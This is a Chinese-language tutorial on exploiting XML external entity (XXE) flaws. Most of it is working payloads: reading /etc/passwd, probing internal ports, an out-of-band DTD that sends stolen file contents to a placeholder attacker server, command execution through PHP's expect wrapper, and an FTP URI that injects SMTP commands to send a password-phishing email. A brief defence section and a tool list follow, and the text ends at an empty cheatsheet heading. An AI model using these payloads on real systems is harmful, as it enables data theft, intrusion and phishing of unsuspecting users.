XXE漏洞利用技巧:从XML到远程代码执行
字数 766 2025-08-18 11:37:28
XXE漏洞利用技巧:从XML到远程代码执行
1. XXE漏洞概述
XXE(XML External Entity)即XML外部实体注入漏洞,当应用程序解析用户提供的XML输入时,允许引用外部实体,攻击者通过构造恶意内容可能导致:
- 任意文件读取
- 系统命令执行
- 内网端口探测
- 攻击内网网站
2. 基本利用方式
2.1 文件读取示例
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
此payload会读取服务器上的/etc/passwd文件内容。
3. Blind OOB XXE(带外数据泄露)
当服务器不直接返回响应时,可使用带外技术获取数据。
3.1 端口扫描
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
通过响应时间/长度判断端口是否开放。
3.2 通过DTD窃取文件
- 攻击者服务器上的
xxe_file.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
- 发送给目标服务器的XML:
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
4. 高级利用技巧
4.1 远程代码执行(需PHP expect模块)
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
4.2 钓鱼攻击(利用SMTP服务)
构造FTP URI注入SMTP命令:
ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0ADATA%0D%0AFrom%3A%20support%40VULNERABLESYSTEM.com%0ATo%3A%20victim%40gmail.com%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@VULNERABLESYSTEM.com:25
实际发送的命令:
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com.
QUIT
5. 防御措施
-
禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java:设置
DocumentBuilderFactory的setExpandEntityReferences(false)
- PHP:
-
配置XML处理器使用本地静态DTD,禁止XML中含有任何自己声明的DTD
-
对XML输入进行严格过滤和验证
6. 实用工具
-
BurpSuite:
- 检测潜在XXE漏洞
- Intruder功能用于端口探测
-
HTTP请求分析工具:
- RequestBin
- HookBin
- BurpSuite Pro的Collaborator
-
XXE Cheatsheet: